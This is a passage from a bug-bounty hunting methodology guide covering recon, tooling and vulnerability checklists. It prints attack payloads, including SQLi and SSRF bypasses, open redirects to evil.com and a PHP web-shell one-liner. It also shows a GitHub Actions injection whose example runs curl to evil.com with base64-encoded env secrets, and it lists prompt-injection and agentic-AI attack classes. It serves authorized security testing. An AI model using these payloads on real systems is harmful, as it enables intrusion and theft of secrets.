if HttpOnly is set on session cookie | Session hijack -> ATO |82| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |83| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |84| Rate limit bypass | OTP brute force | Account takeover |85| GraphQL introspection | Missing field-level auth | Mass PII exfil |86| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |87| CORS reflects origin | Test with credentials: include | Credentialed data theft |88| Host header injection | Password reset poisoning | ATO via reset link |8990### Cluster Hunt Protocol (6 Steps)9192```931. CONFIRM A Verify bug A is real with an HTTP request942. MAP SIBLINGS Find all endpoints in the same controller/module/API group953. TEST SIBLINGS Apply the same bug pattern to every sibling964. CHAIN If sibling has different bug class, try combining A + B975. QUANTIFY "Affects N users" / "exposes $X value" / "N records"986. REPORT One report per chain (not per bug). Chains pay more.99```100101### Real Examples102103**Coinbase S3->Bundle->Secret->OAuth chain:**104```105A: S3 bucket publicly listable (Low alone)106B: JS bundles contain OAuth client credentials107C: OAuth flow missing PKCE enforcement108Result: Full auth code interception chain109```110111**Vienna Chatbot chain:**112```113A: Debug parameter active in production (Info alone)114B: Chatbot renders HTML in response (dangerouslySetInnerHTML)115C: Stored XSS via bot response visible to other users116Result: P2 finding with real impact117```118119---120121# TOP 1% HACKER MINDSET122123## How Elite Hackers Think Differently124125**Average hunter**: Runs tools, checks checklist, gives up after 30 min.126**Top 1%**: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"127128## Pre-Hunt Mental Framework129130### Step 1: Crown Jewel Thinking131Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"132- Financial app -> drain funds, transfer to attacker account133- Healthcare -> PII leak, HIPAA violation134- SaaS -> tenant data crossing, admin takeover135- Auth provider -> full SSO chain compromise136137### Step 2: Developer Empathy138Think like the developer who built the feature:139- What was the simplest implementation?140- What shortcut would a tired dev take at 2am?141- Where is auth checked -- controller? middleware? DB layer?142- What happens when you call endpoint B without going through endpoint A first?143144### Step 3: Trust Boundary Mapping145```146Client -> CDN -> Load Balancer -> App Server -> Database147 ^ ^ ^148 Where does app STOP trusting input?149 Where does it ASSUME input is already validated?150```151152### Step 4: Feature Interaction Thinking153- Does this new feature reuse old auth, or does it have its own?154- Does the mobile API share auth logic with the web app?155- Was this feature built by the same team or a third-party?156157## The Top 1% Mental Checklist158- [ ] I know the app's core business model159- [ ] I've used the app as a real user for 15+ minutes160- [ ] I know the tech stack (language, framework, auth system, caching)161- [ ] I've read at least 3 disclosed reports for this program162- [ ] I have 2 test accounts ready (attacker + victim)163- [ ] I've defined my primary target: ONE crown jewel I'm hunting for today164165## Mindset Rules from Top Hunters166167**"Hunt the feature, not the endpoint"** -- Find all endpoints that serve a feature, then test the INTERACTION between them.168169**"Authorization inconsistency is your friend"** -- If the app checks auth in 9 places but not the 10th, that's your bug.170171**"New == unreviewed"** -- Features launched in the last 30 days have lowest security maturity.172173**"Think second-order"** -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.174175**"Follow the money"** -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.176177**"The API the mobile app uses"** -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.178179**"Diffs find bugs"** -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.180181---182183# TOOLS184185## Go Binaries186| Tool | Use |187|------|-----|188| subfinder | Passive subdomain enum |189| httpx | Probe live hosts |190| dnsx | DNS resolution |191| nuclei | Template scanner |192| katana | Crawl |193| waybackurls | Archive URLs |194| gau | Known URLs |195| dalfox | XSS scanner |196| ffuf | Fuzzer |197| anew | Dedup append |198| qsreplace | Replace param values |199| assetfinder | Subdomain enum |200| gf | Grep patterns (xss, sqli, ssrf, redirect) |201| interactsh-client | OOB callbacks |202203## Tools to Install When Needed204| Tool | Use | Install |205|------|-----|---------|206| arjun | Hidden parameter discovery | `pip3 install arjun` |207| paramspider | URL parameter mining | `pip3 install paramspider` |208| kiterunner | API endpoint brute | `go install github.com/assetnote/kiterunner/cmd/kr@latest` |209| cloudenum | Cloud asset enumeration | `pip3 install cloud_enum` |210| trufflehog | Secret scanning | `brew install trufflehog` |211| gitleaks | Secret scanning | `brew install gitleaks` |212| XSStrike | Advanced XSS scanner | `pip3 install xsstrike` |213| SecretFinder | JS secret extraction | `pip3 install secretfinder` |214| sqlmap | SQL injection | `pip3 install sqlmap` |215| subzy | Subdomain takeover | `go install github.com/LukaSikic/subzy@latest` |216217## Static Analysis (Semgrep Quick Audit)218```bash219# Install: pip3 install semgrep220221# Broad security audit222semgrep --config=p/security-audit ./223semgrep --config=p/owasp-top-ten ./224225# Language-specific rulesets226semgrep --config=p/javascript ./src/227semgrep --config=p/python ./228semgrep --config=p/golang ./229semgrep --config=p/php ./230semgrep --config=p/nodejs ./231232# Targeted rules233semgrep --config=p/sql-injection ./234semgrep --config=p/jwt ./235236# Custom pattern (example: find SQL concat in Python)237semgrep --pattern 'cursor.execute("..." + $X)' --lang python .238239# Output to file for analysis240semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null241cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'242```243244## FFUF Advanced Techniques245```bash246# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)247ffuf -w wordlist.txt -u https://target.com/FUZZ -ac248249# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)250seq 1 10000 | ffuf --request req.txt -w - -ac251252# Authenticated API endpoint brute253ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac254255# Parameter discovery256ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200257258# Hidden POST parameters259ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac260261# Subdomain scan262ffuf -w subs.txt -u https://FUZZ.target.com -ac263264# Filter strategies:265# -fc 404,403 Filter status codes266# -fs 1234 Filter by response size267# -fw 50 Filter by word count268# -fr "not found" Filter regex in response body269# -rate 5 -t 10 Rate limit + fewer threads for stealth270# -e .php,.bak,.old Add extensions271# -o results.json Save output272```273274## AI-Assisted Tools275- **strix** (usestrix.com) -- open-source AI scanner for automated initial sweep276277---278279# PHASE 1: RECON280281## Standard Recon Pipeline282```bash283# Step 1: Subdomains284subfinder -d TARGET -silent | anew /tmp/subs.txt285assetfinder --subs-only TARGET | anew /tmp/subs.txt286287# Step 2: Resolve + live hosts288cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt289290# Step 3: URL collection291cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt292echo TARGET | waybackurls | anew /tmp/urls.txt293gau TARGET | anew /tmp/urls.txt294295# Step 4: Nuclei scan296nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt297298# Step 5: JS secrets299cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt300# Run SecretFinder on each JS file301302# Step 6: GitHub dorking (if target has public repos)303# GitDorker -org TARGET_ORG -d dorks/alldorksv3304```305306## Cloud Asset Enumeration307```bash308# Manual S3 brute309for suffix in dev staging test backup api data assets static cdn; do310 code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")311 [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"312done313```314315## API Endpoint Discovery316```bash317# ffuf API endpoint brute318ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac319```320321## HackerOne Scope Retrieval322```bash323curl -s "https://hackerone.com/graphql" \324 -H "Content-Type: application/json" \325 -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \326 | jq '.data.team.policy_scopes.edges[].node'327```328329## Quick Wins Checklist330- [ ] Subdomain takeover (`subjack`, `subzy`)331- [ ] Exposed `.git` (`/.git/config`)332- [ ] Exposed env files (`/.env`, `/.env.local`)333- [ ] Default credentials on admin panels334- [ ] JS secrets (SecretFinder, jsluice)335- [ ] Open redirects (`?redirect=`, `?next=`, `?url=`)336- [ ] CORS misconfig (test `Origin: https://evil.com` + credentials)337- [ ] S3/cloud buckets338- [ ] GraphQL introspection enabled339- [ ] Spring actuators (`/actuator/env`, `/actuator/heapdump`)340- [ ] Firebase open read (`https://TARGET.firebaseio.com/.json`)341342## Technology Fingerprinting343344| Signal | Technology |345|---|---|346| Cookie: `XSRF-TOKEN` + `*_session` | Laravel |347| Cookie: `PHPSESSID` | PHP |348| Header: `X-Powered-By: Express` | Node.js/Express |349| Response: `wp-json`/`wp-content` | WordPress |350| Response: `{"errors":[{"message":` | GraphQL |351| Header: `X-Powered-By: Next.js` | Next.js |352353## Framework Quick Wins354355**Laravel**: `/horizon`, `/telescope`, `/.env`, `/storage/logs/laravel.log`356**WordPress**: `/wp-json/wp/v2/users`, `/xmlrpc.php`, `/?author=1`357**Node.js**: `/.env`, `/graphql` (introspection), `/_debug`358**AWS Cognito**: `/oauth2/userInfo` (leaks Pool ID), CORS reflects arbitrary origins359360## Source Code Recon361```bash362# Security surface363cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"364git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20365366# Dev breadcrumbs367grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"368369# Dangerous patterns (JS/TS)370grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules371grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"372grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."373374# Dangerous patterns (Solidity)375grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"376```377378### Language-Specific Grep Patterns379380```bash381# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks382grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules383grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules384grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules385386# Python -- pickle, yaml.load, eval, shell injection387grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test388grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test389grep -rn "__import__\|exec(" --include="*.py"390391# PHP -- type juggling, unserialize, LFI392grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"393grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"394grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"395396# Go -- template.HTML, race conditions397grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"398grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"399400# Ruby -- YAML.load, mass assignment401grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"402grep -rn "attr_accessible\|permit(" --include="*.rb"403404# Rust -- panic on network input, unsafe blocks405grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"406grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"407grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"408```409410---411412# PHASE 2: LEARN (Pre-Hunt Intelligence)413414## Read Disclosed Reports415```bash416# By program on HackerOne417curl -s "https://hackerone.com/graphql" \418 -H "Content-Type: application/json" \419 -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \420 | jq '.data.hacktivity_items.nodes[].report'421```422423## "What Changed" Method4241. Find disclosed report for similar tech4252. Get the fix commit4263. Read the diff -- identify the anti-pattern4274. Grep your target for that same anti-pattern428429## Threat Model Template430```431TARGET: _______________432CROWN JEWELS: 1.___ 2.___ 3.___433ATTACK SURFACE:434 [ ] Unauthenticated: login, register, password reset, public APIs435 [ ] Authenticated: all user-facing endpoints, file uploads, API calls436 [ ] Cross-tenant: org/team/workspace ID parameters437 [ ] Admin: /admin, /internal, /debug438HIGHEST PRIORITY (crown jewel x easiest entry):439 1.___ 2.___ 3.___440```441442## 6 Key Patterns from Top Reports4431. **Feature Complexity = Bug Surface** -- imports, integrations, multi-tenancy, multi-step workflows4442. **Developer Inconsistency = Strongest Evidence** -- `timingSafeEqual` in one place, `===` elsewhere4453. **"Else Branch" Bug** -- proxy/gateway passes raw token without validation in else path4464. **Import/Export = SSRF** -- every "import from URL" feature has historically had SSRF4475. **Secondary/Legacy Endpoints = No Auth** -- `/api/v1/` guarded but `/api/` isn't4486. **Race Windows in Financial Ops** -- check-then-deduct as two DB operations = double-spend449450---451452# PHASE 3: HUNT453454## Note-Taking System (Never Hunt Without This)455```markdown456# TARGET: company.com -- SESSION 1457458## Interesting Leads (not confirmed bugs yet)459- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...460461## Dead Ends (don't revisit)462- /admin -> IP restricted, confirmed by trying 15+ bypass headers463464## Anomalies465- GET /api/export returns 200 even when session cookie is missing466- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)467468## Rabbit Holes (time-boxed, max 15 min each)469- [ ] 10 min: JWT kid injection on auth endpoint470471## Confirmed Bugs472- [15:10] IDOR on /api/invoices/{id} -- read+write473```474475## Subdomain Type -> Hunt Strategy476- **dev/staging/test**: Debug endpoints, disabled auth, verbose errors477- **admin/internal**: Default creds, IP bypass headers (`X-Forwarded-For: 127.0.0.1`)478- **api/api-v2**: Enumerate with kiterunner, check older unprotected versions479- **auth/sso**: OAuth misconfigs, open redirect in `redirect_uri`480- **upload/cdn**: CORS, path traversal, stored XSS481482## CVE-Seeded Audit Approach4831. **Build a CVE eval set** -- collect 5-10 prior CVEs for the target codebase4842. **Reproduce old bugs** -- verify you can find the pattern in older code4853. **Pattern-match forward** -- search for the same anti-pattern in current code4864. **Focus on wide attack surfaces** -- JS engines, parsers, anything processing untrusted external input487488## Rust/Blockchain Source Code (Hard-Won Lessons)489490**Panic paths: encoding vs decoding** -- `.unwrap()` on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.491492**"Known TODO" is not a mitigation** -- A comment like `// Votes are not signed for now` doesn't mean safe.493494**Pattern-based hunting from confirmed findings** -- If `verify_signed_vote` is broken, check `verify_signed_proposal` and `verify_commit_signature`.495496```bash497# Rust dangerous patterns (network-facing)498grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"499grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"500grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"501```502503---504505# VULNERABILITY HUNTING CHECKLISTS506507## IDOR -- Insecure Direct Object Reference508509> #1 most paid web2 class -- 30% of all submissions that get paid.510511### IDOR Variants (10 Ways to Test)512513| Variant | What to Test |514|---------|-------------|515| V1: Direct | Change object ID in URL path `/api/users/123` -> `/api/users/456` |516| V2: Body param | Change ID in POST/PUT JSON body `{"user_id": 456}` |517| V3: GraphQL node | `{ node(id: "base64(OtherType:123)") { ... } }` |518| V4: Batch/bulk | `/api/users?ids=1,2,3,4,5` -- request multiple IDs at once |519| V5: Nested | Change parent ID: `/orgs/{org_id}/users/{user_id}` |520| V6: File path | `/files/download?path=../other-user/file.pdf` |521| V7: Predictable | Sequential integers, timestamps, short UUIDs |522| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |523| V9: Version rollback | v2 blocked? Try `/api/v1/` same endpoint |524| V10: Header injection | `X-User-ID: victim_id`, `X-Org-ID: victim_org` |525526### IDOR Testing Checklist527- [ ] Create two accounts (A = attacker, B = victim)528- [ ] Log in as A, perform all actions, note all IDs in requests529- [ ] Log in as B, replay A's requests with A's IDs using B's auth530- [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH531- [ ] Check API v1/v2 differences532- [ ] Check GraphQL schema for node() queries533- [ ] Check WebSocket messages for client-supplied IDs534- [ ] Test batch endpoints (can you request multiple IDs?)535- [ ] Try adding unexpected params: `?user_id=other_user`536537### IDOR Chains (higher payout)538- IDOR + Read PII = Medium539- IDOR + Write (modify other's data) = High540- IDOR + Admin endpoint = Critical (privilege escalation)541- IDOR + Account takeover path = Critical542- IDOR + Chatbot (LLM reads other user's data) = High543544## SSRF -- Server-Side Request Forgery545546- [ ] Try cloud metadata: `http://169.254.169.254/latest/meta-data/`547- [ ] Try internal services: `http://127.0.0.1:6379/` (Redis), `:9200` (Elasticsearch), `:27017` (MongoDB)548- [ ] Test all IP bypass techniques (see table below)549- [ ] Test protocol bypass: `file://`, `dict://`, `gopher://`550- [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers551552### SSRF IP Bypass Table (11 Techniques)553554| Bypass | Payload | Notes |555|--------|---------|-------|556| Decimal IP | `http://2130706433/` | 127.0.0.1 as single decimal |557| Hex IP | `http://0x7f000001/` | Hex representation |558| Octal IP | `http://0177.0.0.1/` | Octal 0177 = 127 |559| Short IP | `http://127.1/` | Abbreviated notation |560| IPv6 | `http://[::1]/` | Loopback in IPv6 |561| IPv6-mapped | `http://[::ffff:127.0.0.1]/` | IPv4-mapped IPv6 |562| Redirect chain | `http://attacker.com/302->http://169.254.169.254` | Check each hop |563| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |564| URL encoding | `http://127.0.0.1%2523@attacker.com` | Parser confusion |565| Enclosed alphanumeric | `http://①②⑦.⓪.⓪.①` | Unicode numerals |566| Protocol smuggling | `gopher://127.0.0.1:6379/_INFO` | Redis/other protocols |567568### SSRF Impact Chain569- DNS-only = Informational (don't submit)570- Internal service accessible = Medium571- Cloud metadata readable = High (key exposure)572- Cloud metadata + exfil keys = Critical (code execution on cloud)573- Docker API accessible = Critical (direct RCE)574575## OAuth / OIDC576577- [ ] Missing `state` parameter -> CSRF578- [ ] `redirect_uri` accepts wildcards -> ATO579- [ ] Missing PKCE -> code theft580- [ ] Implicit flow -> token leakage in referrer581- [ ] Open redirect in post-auth redirect -> OAuth token theft chain582583### Open Redirect Bypass Table (11 Techniques)584585Use these when chaining open redirect into OAuth code theft:586587| Bypass | Payload | Notes |588|--------|---------|-------|589| Double URL encoding | `%252F%252F` | Decodes to `//` after double decode |590| Backslash | `https://target.com\@evil.com` | Some parsers normalize `\` to `/` |591| Missing protocol | `//evil.com` | Protocol-relative |592| @-trick | `https://target.com@evil.com` | target.com becomes username |593| Protocol-relative | `///evil.com` | Triple slash |594| Tab/newline injection | `//evil%09.com` | Whitespace in hostname |595| Fragment trick | `https://evil.com#target.com` | Fragment misleads validation |596| Null byte | `https://evil.com%00target.com` | Some parsers truncate at null |597| Parameter pollution | `?next=target.com&next=evil.com` | Last value wins |598| Path confusion | `/redirect/..%2F..%2Fevil.com` | Path traversal in redirect |599| Unicode normalization | `https://evil.com/target.com` | Visual confusion |600601## File Upload602603### File Upload Bypass Table604605| Bypass | Technique |606|--------|-----------|607| Double extension | `file.php.jpg`, `file.php%00.jpg` |608| Case variation | `file.pHp`, `file.PHP5` |609| Alternative extensions | `.phtml`, `.phar`, `.shtml`, `.inc` |610| Content-Type spoof | `image/jpeg` header with PHP content |611| Magic bytes | `GIF89a; <?php system($_GET['c']); ?>` |612| .htaccess upload | `AddType application/x-httpd-php .jpg` |613| SVG XSS | `<svg onload=alert(1)>` |614| Race condition | Upload + execute before cleanup runs |615| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |616| Zip slip | `../../etc/cron.d/shell` in filename inside archive |617618### Magic Bytes Reference619| Type | Hex |620|------|-----|621| JPEG | `FF D8 FF` |622| PNG | `89 50 4E 47 0D 0A 1A 0A` |623| GIF | `47 49 46 38` |624| PDF | `25 50 44 46` |625| ZIP/DOCX/XLSX | `50 4B 03 04` |626627## Race Conditions628629- [ ] Coupon codes / promo codes630- [ ] Gift card redemption631- [ ] Fund transfer / withdrawal632- [ ] Voting / rating limits633- [ ] OTP verification brute via race634635```bash636seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \637 -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &638wait639```640641### Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)642```python643def queueRequests(target, wordlists):644 engine = RequestEngine(endpoint=target.endpoint,645 concurrentConnections=1,646 requestsPerConnection=1,647 pipeline=False,648 engine=Engine.BURP2)649 for i in range(20):650 engine.queue(target.req, gate='race1')651 engine.openGate('race1') # all 20 fire in a single TCP packet652653def handleResponse(req, interesting):654 table.add(req)655```656657## Business Logic658- [ ] Negative quantities in cart659- [ ] Price parameter tampering660- [ ] Workflow skip (e.g., pay without checkout)661- [ ] Role escalation via registration fields662- [ ] Privilege persistence after downgrade663664## XSS -- Cross-Site Scripting665666### XSS Sinks (grep for these)667```javascript668// HIGH RISK669innerHTML = userInput670outerHTML = userInput671document.write(userInput)672eval(userInput)673setTimeout(userInput, ...) // string form674setInterval(userInput, ...)675new Function(userInput)676677// MEDIUM RISK (context-dependent)678element.src = userInput // JavaScript URI possible679element.href = userInput680location.href = userInput681```682683### XSS Chains (escalate from Medium to High/Critical)684- XSS + sensitive page (banking, admin) = High685- XSS + CSRF token theft = CSRF bypass -> Critical action686- XSS + service worker = persistent XSS across pages687- XSS + credential theft via fake login form = ATO688- XSS in chatbot response = stored XSS chain689690## SQL Injection691692### Detection693```bash694# Single quote test695' OR '1'='1696' OR 1=1--697' UNION SELECT NULL--698699# Error-based detection700'; SELECT 1/0-- # divide by zero error reveals SQLi701```702703### Modern SQLi WAF Bypass704```sql705-- Comment variation706/*!50000 SELECT*/ * FROM users707SE/**/LECT * FROM users708-- Case variation709SeLeCt * FrOm uSeRs710-- URL encoding711%27 OR %271%27=%271712-- Unicode apostrophe713' OR '1'='1714```715716## GraphQL717718### Introspection (alone = Informational, but reveals attack surface)719```graphql720{ __schema { types { name fields { name type { name } } } } }721```722723### Missing Field-Level Auth724```graphql725# User query returns only own data726{ user(id: 1) { name email } }727# But node() bypasses per-object auth:728{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }729```730731### Batching Attack (Rate Limit Bypass)732```json733[734 {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},735 {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},736 "...100 more..."737]738```739740## LLM / AI Features741742- [ ] Prompt injection via user input passed to LLM743- [ ] Indirect injection via document/URL the AI processes744- [ ] IDOR in chat history (enumerate conversation IDs)745- [ ] System prompt extraction via roleplay/encoding746- [ ] RCE via code execution tool abuse747- [ ] ASCII smuggling (invisible unicode in LLM output)748749### Agentic AI Hunting (OWASP ASI01-ASI10)750751When target has AI agents with tool access, these are the 10 attack classes:752753| ID | Vuln Class | What to Test |754|----|-----------|-------------|755| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |756| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |757| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |758| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |759| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |760| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |761| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |762| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |763| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |764| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |765766**Triage rule:** ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.767768## Cache Poisoning / Web Cache Deception769- [ ] Test `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL` -- unkeyed headers reflected in response770- [ ] Parameter cloaking (`?param=value;poison=xss`)771- [ ] Fat GET (body params on GET requests)772- [ ] Web cache deception (`/account/settings.css` -- trick cache into storing private response)773- [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers774775## HTTP Request Smuggling776- [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend777- [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend778- [ ] H2.CL: HTTP/2 downgrade smuggling779- [ ] TE obfuscation: `Transfer-Encoding: xchunked`, tab prefix, space prefix780- [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically781782### CL.TE Example783```http784POST / HTTP/1.1785Host: target.com786Content-Length: 13787Transfer-Encoding: chunked7887890790791SMUGGLED792```793Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.794795## Android / Mobile Hunting796- [ ] Certificate pinning bypass (Frida/objection)797- [ ] Exported activities/receivers (AndroidManifest.xml)798- [ ] Deep link injection799- [ ] Shared preferences / SQLite in cleartext800- [ ] WebView JavaScript bridge801- [ ] Mobile API often uses older/different API version than web802803## CI/CD Pipeline — GitHub Actions Security804805> **Tooling**: Use [sisakulint](https://sisaku-security.github.io/lint/) for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: `brew install sisakulint` or download binary from releases.806>807> **Quick scan**: `sisakulint scan .github/workflows/` — flags Critical/High issues with auto-fix suggestions.808> **Remote scan**: `sisakulint scan --remote owner/repo` — scan without cloning.809810### Recon: Finding Workflow Files811812```bash813# Clone target's public repos, then:814find . -name "*.yml" -path "*/.github/workflows/*" | head -50815816# Quick grep for dangerous patterns:817grep -rn "pull_request_target\|workflow_run" .github/workflows/818grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/819grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/820grep -rn 'secrets\.\|secrets: inherit' .github/workflows/821822# Run sisakulint on all workflows:823sisakulint scan .github/workflows/824```825826### Category 1: Code Injection & Expression Safety (CICD-SEC-04)827828**Root cause**: Untrusted input (`github.event.issue.title`, `github.event.pull_request.body`, branch names, commit messages) interpolated into `run:` blocks via `${{ }}` expressions.829830**Taint sources** (attacker-controlled):831```832github.event.issue.title / .body833github.event.pull_request.title / .body / .head.ref834github.event.comment.body835github.event.review.body836github.event.pages.*.page_name837github.event.commits.*.message / .author.name838github.event.head_commit.message / .author.name839github.event.workflow_run.head_branch840github.head_ref841```842843- [ ] **Expression injection** — `${{ github.event.issue.title }}` in `run:` block = RCE844 ```yaml845 # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #846 run: echo "${{ github.event.issue.title }}"847848 # FIXED — use env var (shell-quoted, not expression-interpolated)849 env:850 TITLE: ${{ github.event.issue.title }}851 run: echo "$TITLE"852 ```853- [ ] **Environment variable injection** — untrusted input → `$GITHUB_ENV`854 ```yaml855 # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE856 run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV857858 # FIXED — use heredoc delimiter859 run: |860 {861 echo "BRANCH<<EOF"862 echo "${{ github.head_ref }}"863 echo "EOF"864 } >> $GITHUB_ENV865 ```866- [ ] **PATH injection** — untrusted input → `$GITHUB_PATH` = arbitrary binary execution867- [ ] **Output clobbering** — untrusted input → `$GITHUB_OUTPUT` without heredoc delimiter = downstream job manipulation868- [ ] **Argument injection** — untrusted input as CLI argument (e.g., `docker run ${{ ... }}`)869 ```yaml870 # VULNERABLE871 run: docker run ${{ github.event.pull_request.body }}872873 # FIXED — end-of-options marker + env var874 env:875 INPUT: ${{ github.event.pull_request.body }}876 run: docker run -- "$INPUT"877 ```878- [ ] **Request forgery (SSRF)** — attacker-controlled URL in `curl`/`wget` within workflow879880### Category 2: Pipeline Poisoning & Untrusted Checkout881882**Root cause**: Privileged triggers (`pull_request_target`, `workflow_run`) checkout attacker's PR code, which then runs with repository secrets.883884- [ ] **Untrusted checkout** — `actions/checkout` on `pull_request_target` without explicit safe ref885 ```yaml886 # VULNERABLE — checks out attacker's PR code with repo secrets887 on: pull_request_target888 jobs:889 build:890 steps:891 - uses: actions/checkout@v4892 with:893 ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE894 - run: make build # runs attacker's Makefile with secrets895896 # FIXED — only checkout base branch, or use read-only permissions897 permissions: {}898 steps:899 - uses: actions/checkout@v4 # checks out base branch by default900 ```901- [ ] **TOCTOU (Time-of-Check-Time-of-Use)** — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval902- [ ] **Reusable workflow taint** — `secrets: inherit` passes all secrets to called workflow that processes untrusted input903- [ ] **Cache poisoning** — untrusted checkout → build → cache write → trusted workflow reads poisoned cache904- [ ] **Cache poisoning (poisonable step)** — unsafe checkout followed by build step before cache save905- [ ] **Artifact poisoning** — `actions/download-artifact` from untrusted `workflow_run` without validation906 ```yaml907 # VULNERABLE — downloads artifact from untrusted workflow, then executes it908 on: workflow_run909 